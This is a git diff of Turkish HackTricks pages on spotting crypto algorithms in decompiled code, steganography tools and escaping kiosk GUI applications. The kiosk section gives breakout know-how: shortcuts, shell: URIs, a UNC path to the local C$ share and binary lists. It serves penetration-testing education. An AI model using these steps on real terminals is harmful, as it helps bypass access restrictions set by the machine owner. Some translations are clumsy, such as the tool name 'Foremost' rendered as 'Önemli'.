**RtlCompressBuffer/RtlDecompressBuffer** -Veri tamponunu sıkıştırır ve açar. +Veri akışını sıkıştırır ve açar. **CryptAcquireContext** -[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içinde belirli bir anahtar konteynerine bir tutamaç almak için kullanılır. **Bu döndürülen tutamaç, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarında kullanılır. +[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içinde belirli bir anahtar konteynerine bir tutamaç almak için kullanılır. **Bu döndürülen tutamaç, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarına yapılan çağrılarda kullanılır. **CryptCreateHash** -Veri akışının karma işlemini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek **hangi algoritmanın kullanıldığını** bulabilirsiniz: +Veri akışının karma işlemini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz: ![](<../../.gitbook/assets/image (549).png>) -Mümkün algoritmaların ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +\ +Mümkün algoritmalar ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) ### Kod sabitleri @@ -52,31 +54,31 @@ Bazen bir algoritmayı tanımlamak gerçekten kolay olabilir çünkü özel ve b ![](<../../.gitbook/assets/image (833).png>) -Google'da ilk sabit arandığında elde edilen sonuç: +Eğer ilk sabit için Google'da arama yaparsanız, aşağıdakini elde edersiniz: ![](<../../.gitbook/assets/image (529).png>) -Bu nedenle, dekompilasyon işlevinin bir **sha256 hesaplayıcısı olduğunu** varsayabilirsiniz. Diğer sabitlerden herhangi birini arayabilir ve (muhtemelen) aynı sonucu elde edersiniz. +Bu nedenle, dekompilasyon edilmiş fonksiyonun bir **sha256 hesaplayıcısı** olduğunu varsayabilirsiniz. Diğer sabitlerden herhangi birini arayabilir ve (muhtemelen) aynı sonucu elde edersiniz. ### Veri bilgisi -Kodda anlamlı bir sabit yoksa, muhtemelen **.veri bölümünden bilgi yükleniyor** demektir.\ -Bu veriye erişebilir, **ilk dört byt'ı gruplayabilir** ve yukarıda yaptığımız gibi Google'da arayabilirsiniz: +Eğer kodda önemli bir sabit yoksa, muhtemelen **.data bölümünden bilgi yükleniyor** demektir.\ +Bu verilere erişebilir, **ilk dört kelimeyi gruplayabilir** ve yukarıda yaptığımız gibi Google'da arayabilirsiniz: ![](<../../.gitbook/assets/image (531).png>) -Bu durumda, **0xA56363C6**'ya baktığınızda, bunun **AES algoritmasının tablolarıyla ilişkili olduğunu** bulabilirsiniz. +Bu durumda, **0xA56363C6** için arama yaparsanız, bunun **AES algoritmasının tablolarıyla** ilişkili olduğunu bulabilirsiniz. ## RC4 **(Simetrik Şifreleme)** ### Özellikler -* **Başlatma aşaması/**: 0x00 ile 0xFF arasındaki değerlerin bir **tablosunu oluşturur** (toplamda 256 byte, 0x100). Bu tablo genellikle **Yerine Koyma Kutusu** (veya SBox) olarak adlandırılır. -* **Karıştırma aşaması**: Önceki oluşturulan tablo üzerinden **döngü yapacak** ve her değeri **yarı rastgele** byte'larla değiştirerek (tekrar 0x100 iterasyon döngüsü) karıştıracaktır. Bu yarı rastgele byte'ları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** genellikle **1 ile 256 byte arasında olabilir**, ancak genellikle 5 bytedan fazla olması önerilir. Genellikle, RC4 anahtarları 16 byte uzunluğundadır. -* **XOR aşaması**: Son olarak, düz metin veya şifreli metin, önceki oluşturulan değerlerle **XOR edilir**. Şifrelemek ve şifre çözmek için aynı işlev kullanılır. Bunun için, oluşturulan 256 byte üzerinde bir **döngü** gerektiği kadar çok kez yapılır. Bu genellikle bir dekompilasyon kodunda **%256 (mod 256)** ile tanınır. +* **Başlatma aşaması/**: 0x00 ile 0xFF (toplamda 256 bayt, 0x100) arasında bir **değer tablosu oluşturur**. Bu tablo genellikle **Yerine Koyma Kutusu** (veya SBox) olarak adlandırılır. +* **Karıştırma aşaması**: Önceki oluşturulan tablo üzerinde dönecek (tekrar 0x100 iterasyon döngüsü) ve her bir değeri **yarı rastgele** baytlarla değiştirerek **değiştirecek**. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** genellikle **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. +* **XOR aşaması**: Son olarak, düz metin veya şifreli metin, önceki oluşturulan değerlerle **XOR edilir**. Şifrelemek ve deşifre etmek için aynı işlev kullanılır. Bunun için, oluşturulan 256 bayt üzerinde bir döngü **gerektiği kadar** yapılacaktır. Bu genellikle bir dekompilasyon kodunda **%256 (mod 256)** ile tanınır. {% hint style="info" %} -**RC4'ü bir dekompilasyon/derlenmiş kodda tanımlamak için anahtar kullanarak 0x100 boyutunda 2 döngü ve muhtemelen %256 (mod 256) kullanarak 2 döngüde oluşturulan 256 değerle giriş verisinin XOR'landığını kontrol edebilirsiniz.** +**RC4'ü bir dekompilasyon/dekompilasyon kodunda tanımlamak için 0x100 boyutunda 2 döngüye (bir anahtar kullanarak) ve ardından giriş verilerinin 2 döngüde önceden oluşturulan 256 değerle XOR'lanmasıyla muhtemelen %256 (mod 256) kullanılarak kontrol edebilirsiniz.** {% endhint %} ### **Başlatma aşaması/Yerine Koyma Kutusu:** (256 sayısı kullanılan sayacı ve 256 karakterin her bir yerine 0 yazıldığına dikkat edin) @@ -96,8 +98,8 @@ Bu durumda, **0xA56363C6**'ya baktığınızda, bunun **AES algoritmasının tab ### **Özellikler** * **Yerine koyma kutuları ve arama tabloları** kullanımı -* **Belirli arama tablosu değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırt etmek mümkündür**. _**Sabit**'in ikili dosyada **saklanabileceğine veya dinamik olarak oluşturulabileceğine**_ _**dikkat edin**._ -* **Şifreleme anahtarı**, **16'ya bölünebilmelidir** (genellikle 32B) ve genellikle 16B'lik bir **IV** kullanılır. +* **Belirli arama tablosu değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırt etmek mümkündür**. _**Sabit**'in ikili dosyada **saklanabileceğini veya dinamik olarak oluşturulabileceğini**_ _**unutmayın**._ +* **Şifreleme anahtarı** 16'ya **bölünebilir** olmalıdır (genellikle 32B) ve genellikle 16B'lik bir **IV** kullanılır. ### SBox sabitleri @@ -108,32 +110,34 @@ Bu durumda, **0xA56363C6**'ya baktığınızda, bunun **AES algoritmasının tab ### Özellikler * Kullanan bazı kötü amaçlı yazılımların nadir olduğu ancak örneklerin bulunduğu (Ursnif gibi) -* Bir algoritmanın Serpent olup olmadığını belirlemek oldukça basittir, uzunluğuna (son derece uzun işlev) dayanarak. +* Bir algoritmanın Serpent olup olmadığını belirlemek oldukça basittir, uzunluğuna (son derece uzun fonksiyon) dayanarak. ### Tanımlama -Aşağıdaki resimde **0x9E3779B9** sabitinin kullanıldığına dikkat edin (bu sabitin **TEA** -Tiny Encryption Algorithm gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\ -Ayrıca **döngü boyutunu** (**132**) ve **XOR işlemlerinin sayısını** **derleme** talimatlarında ve **örnek kodda** fark edin: +Aşağıdaki resimde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin **TEA** -Tiny Encryption Algorithm gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\ +Ayrıca **döngünün boyutunu** (**132**) ve **XOR işlemlerinin sayısını** **derleme** talimatlarında ve **örnek kodda** fark edin: ![](<../../.gitbook/assets/image (547).png>) -Daha önce belirtildiği gibi, bu kod, içinde **atlamalar olmadığı için** bir dekompiler içinde **çok uzun bir işlev** olarak görülebilir. Dekompilasyon kodu aşağıdaki gibi görünebilir: +Yukarıda belirtildiği gibi, bu kod, içinde **atlamaların olmadığı** çok uzun bir fonksiyon olarak herhangi bir dekompilatörde görüntülenebilir. Dekompilasyon edilmiş kod aşağıdaki gibi görünebilir: ![](<../../.gitbook/assets/image (513).png>) + +Bu nedenle, bu algoritmayı tanımlamak için **sihirli sayıyı** ve **başlangıç XOR'larını** kontrol ederek, **çok uzun bir fonksiyonu** görerek ve bazı **talimatları** (örneğin, 7 ile sola kaydırma ve 22 ile sola döndürme) **uzun fonksiyonun bazı talimatlarıyla bir uygulamayla karşılaştırarak** mümkündür. ## RSA **(Asimetrik Şifreleme)** ### Özellikler -* Simetrik algoritmalardan daha karmaşıktır +* Simetrik algoritmalarından daha karmaşıktır * Sabitler yoktur! (özel uygulamaları belirlemek zordur) * KANAL (bir şifre analizörü) RSA hakkında ipuçları veremez çünkü sabitlere dayanır. -### Karşılaştırma Yoluyla Tanımlama +### Karşılaştırmalarla Tanımlama ![](<../../.gitbook/assets/image (1113).png>) -* Sol tarafta 11. satırda `+7) >> 3` sağ tarafta 35. satırda aynıdır: `+7) / 8` -* Sol tarafta 12. satır `modulus_len < 0x040`'ı kontrol ederken sağ tarafta 36. satır `inputLen+11 > modulusLen`'i kontrol eder. +* 11. satırda (sol) `+7) >> 3` bulunur, aynı şey 35. satırda (sağ) `+7) / 8` olarak geçer +* 12. satırda (sol) `modulus_len < 0x040` kontrol edilirken, 36. satırda (sağ) `inputLen+11 > modulusLen` kontrol edilir ## MD5 & SHA (hash) @@ -158,7 +162,7 @@ Daha fazla sabit kullanımına dikkat edin ## CRC (hash) -* Verideki kazara değişiklikleri bulma işlevi nedeniyle daha küçük ve daha verimlidir +* Verideki kazara değişiklikleri bulma işlevi olduğundan daha küçük ve daha verimlidir * Sabitleri tanımlamak için arama tabloları kullanır ### Tanımlama diff --git a/crypto-and-stego/stego-tricks.md b/crypto-and-stego/stego-tricks.md index 6a3f38003..e42f6d2b3 100644 --- a/crypto-and-stego/stego-tricks.md +++ b/crypto-and-stego/stego-tricks.md @@ -1,20 +1,21 @@ # Stego Numaraları +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking numaralarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking numaralarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} -**Zor Güvenlik Grubu Deneyin** +**Try Hard Güvenlik Grubu**
@@ -26,13 +27,13 @@ HackTricks'ı desteklemenin diğer yolları: ### **Binwalk** -Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da mevcuttur. +Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir. ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` -### **Foremost** +### **Önemli** Dosyaları başlık ve altbilgilerine göre kurtarır, png görüntüleri için kullanışlıdır. Kaynağı [GitHub](https://github.com/korczis/foremost) üzerinden `apt` ile yüklenir. ```bash @@ -40,23 +41,23 @@ foremost -i file # Extracts data ``` ### **Exiftool** -Dosya meta verilerini görüntülemeye yardımcı olur, [buradan](https://www.sno.phy.queensu.ca/\~phil/exiftool/) erişilebilir. +Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) mevcuttur. ```bash exiftool file # Shows the metadata ``` ### **Exiv2** -Exiftool'a benzer şekilde, metaveri görüntüleme için kullanılır. `apt` üzerinden yüklenebilir, kaynak kodları [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi websitesi [burada](http://www.exiv2.org/) mevcuttur. +Exiftool'a benzer şekilde, metaveri görüntüleme için kullanılır. `apt` üzerinden yüklenebilir, kaynak kodu [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi websitesi [burada](http://www.exiv2.org/) yer almaktadır. ```bash exiv2 file # Shows the metadata ``` ### **Dosya** -Uğraştığınız dosyanın türünü belirleyin. +Uğraştığınız dosya türünü belirleyin. ### **Dizgeler** -Çeşitli kodlama ayarlarını kullanarak dosyalardan okunabilir dizgeler çıkarır. +Dosyalardan okunabilir dizgeleri çıkarmak için çeşitli kodlama ayarlarını kullanarak çıktıyı filtrelemek. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -70,11 +71,11 @@ strings -e B -n 6 file # 32bit strings (big-endian) ``` ### **Karşılaştırma (cmp)** -Bir dosyanın değiştirilmiş sürümünü çevrimiçi bulunan orijinal sürümü ile karşılaştırmak için kullanışlıdır. +Çalışması değiştirilmiş bir dosyayı çevrimiçi bulunan orijinal sürümüyle karşılaştırmak için kullanışlıdır. ```bash cmp original.jpg stego.jpg -b -l ``` -## **Metinden Gizli Verilerin Çıkarılması** +## **Metinde Gizli Verileri Çıkarma** ### **Boşluklardaki Gizli Veriler** @@ -82,19 +83,19 @@ Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu ver ## **Görüntülerden Veri Çıkarma** -### **GrafikDetay ile Görüntü Ayrıntılarını Tanımlama** +### **GrafikMagick ile Görüntü Detaylarını Tanımlama** [GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosya türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: ```bash ./magick identify -verbose stego.jpg ``` -Bir hasar görmüş görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir: +Hasar görmüş bir resim üzerinde tamir denemek için, bir meta veri yorumu eklemek yardımcı olabilir: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` ### **Veri Gizleme İçin Steghide** -Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak kolaydır ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). +Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). **Komutlar:** @@ -111,7 +112,7 @@ stegcracker [] ``` ### **PNG ve BMP Dosyaları için zsteg** -zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağı](https://github.com/zed-0xff/zsteg)ndan erişilebilir. +zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutuyla yapılır, [GitHub'daki kaynağına](https://github.com/zed-0xff/zsteg) ulaşılabilir. **Komutlar:** @@ -122,7 +123,7 @@ zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanla **stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın. -**Stegsolve**, gizli metinleri veya mesajları görüntülerde ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir. +**Stegsolve**, gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir. ### **Gizli İçerik Tespiti için FFT** @@ -134,11 +135,11 @@ Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği ### **Ses ve Görüntü Dosyaları için Stegpy** -Stegpy, bilgiyi görüntü ve ses dosyalarına gömmeyi sağlar ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir. +Stegpy, bilgi gömme işlemine izin verir ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir. -### **PNG Dosya Analizi için Pngcheck** +### **PNG Dosyası Analizi için Pngcheck** -PNG dosyalarını analiz etmek veya doğrulamak için kullanılabilir: +PNG dosyalarını analiz etmek veya doğrulamak için kullanılabilir. ```bash apt-get install pngcheck pngcheck stego.png @@ -185,17 +186,17 @@ Deepsound, AES-256 kullanarak ses dosyaları içinde bilgi şifreleme ve tespit ### **Sonic Visualizer** -Ses dosyalarının görsel ve analitik incelemesi için kıymetli bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin. +Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle algılanamayan gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin. ### **DTMF Tones - Dial Tones** -Ses dosyalarındaki DTMF tonlarını tespit etmek, çevrimiçi araçlar aracılığıyla [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi yöntemlerle başarıyla gerçekleştirilebilir. +Ses dosyalarındaki DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla başarıyla gerçekleştirilebilir. ## **Diğer Teknikler** ### **Binary Length SQRT - QR Code** -Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kısa kodu kullanın: +Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodu temsil edebilir. Bunun kontrolü için bu kısa kod parçasını kullanın: ```python import math math.sqrt(2500) #50 @@ -215,16 +216,17 @@ Braille çevirisi için [Branah Braille Çevirmeni](https://www.branah.com/brail {% embed url="https://discord.gg/tryhardsecurity" %} +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index 7ca244ead..16c852a1b 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -1,24 +1,25 @@ # KIOSK'lardan Kaçış +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu -* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**]'de takip edin (https://twitter.com/hacktricks\_live)**.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) destek olun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+{% endhint %} #### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını kontrol etmek için ücretsiz** işlevsellikler sunar. +[**WhiteIntel**](https://whiteintel.io) şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir. @@ -31,16 +32,16 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: ## Fiziksel cihazı kontrol et | Bileşen | Eylem | -| ------------- | -------------------------------------------------------------------- | -| Güç düğmesi | Cihazı kapatıp açmak başlangıç ekranını ortaya çıkarabilir | -| Güç kablosu | Gücün kısa süre kesilmesi cihazın yeniden başlatılıp başlatılmadığını kontrol edin | -| USB bağlantı noktaları | Daha fazla kısayol ile fiziksel klavye bağlayın | -| Ethernet | Ağ taraması veya dinleme daha fazla istismarı mümkün kılabilir | +| ----------- | ------------------------------------------------------------------- | +| Güç düğmesi| Cihazı kapatıp açmak başlangıç ekranını ortaya çıkarabilir | +| Güç kablosu | Gücün kısa süre kesilmesi cihazın yeniden başlatılıp başlatılmadığını kontrol edin | +| USB portları| Daha fazla kısayol içeren fiziksel klavye bağlayın | +| Ethernet | Ağ taraması veya dinleme daha fazla sömürü olanağı sağlayabilir | ## GUI uygulaması içinde olası eylemleri kontrol et -**Ortak Diyaloglar** bir dosyayı **kaydetme**, bir dosyayı **açma**, bir yazı tipi seçme, bir renk seçme... gibi seçeneklerdir. Bunların çoğu **tam bir Explorer işlevselliği sunacaktır**. Bu, bu seçeneklere erişebilirseniz Explorer işlevselliğine erişebileceğiniz anlamına gelir: +**Ortak Diyaloglar** bir dosyayı **kaydetme**, bir dosyayı **açma**, bir yazı tipi seçme, bir renk seçme... gibi seçeneklerdir. Bunların çoğu **tam bir Explorer işlevselliği sunacaktır**. Bu, bu seçeneklere erişebilirseniz Explorer işlevlerine erişebileceğiniz anlamına gelir: * Kapat/Kapat gibi * Aç/Aç ile @@ -62,7 +63,7 @@ Belki de **`Aç ile`** seçeneğini kullanarak bir tür kabuk açabilir/çalış #### Windows -Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada kullanılabilecek daha fazla ikili dosyayı bulun: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada kullanılabilecek daha fazla komut dosyası bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ @@ -77,7 +78,7 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g * **Sembolik bağlantılar** * **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (explorer'ı aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyalogu), CTRL-P (Yazdırma Diyalogu), CTRL-S (Farklı Kaydet) * Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9 -* **Kabuk URI'leri**: _shell:Yönetici Araçları, shell:Belgeler Kütüphanesi, shell:Kütüphaneler shell:KullanıcıProfilleri, shell:Kişisel, shell:AramaAnaKlasör, shell:Sistemshell:AğYerleriKlasörü, shell:Gönder, shell:KullanıcıProfilleri, shell:Ortak Yönetici Araçları, shell:BilgisayarımKlasörü, shell:İnternetKlasörü_ +* **Kabuk URI'ları**: _shell:Yönetici Araçları, shell:Belgeler Kütüphanesi, shell:Kütüphaneler shell:KullanıcıProfilleri, shell:Kişisel, shell:AramaAnaKlasör, shell:Sistemshell:AğYerleriKlasörü, shell:Gönder, shell:KullanıcıProfilleri, shell:Ortak Yönetici Araçları, shell:BilgisayarımKlasörü, shell:İnternetKlasörü_ * **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32") * **Daha fazla UNC yolu:** @@ -92,24 +93,6 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g | %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | - -### İkili Dosyalarınızı İndirin - -Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ -Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ -Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) - -### Tarayıcıdan dosya sistemine erişim - -| YOL | YOL | YOL | YOL | -| ------------------- | ----------------- | ------------------ | ------------------- | -| File:/C:/windows | 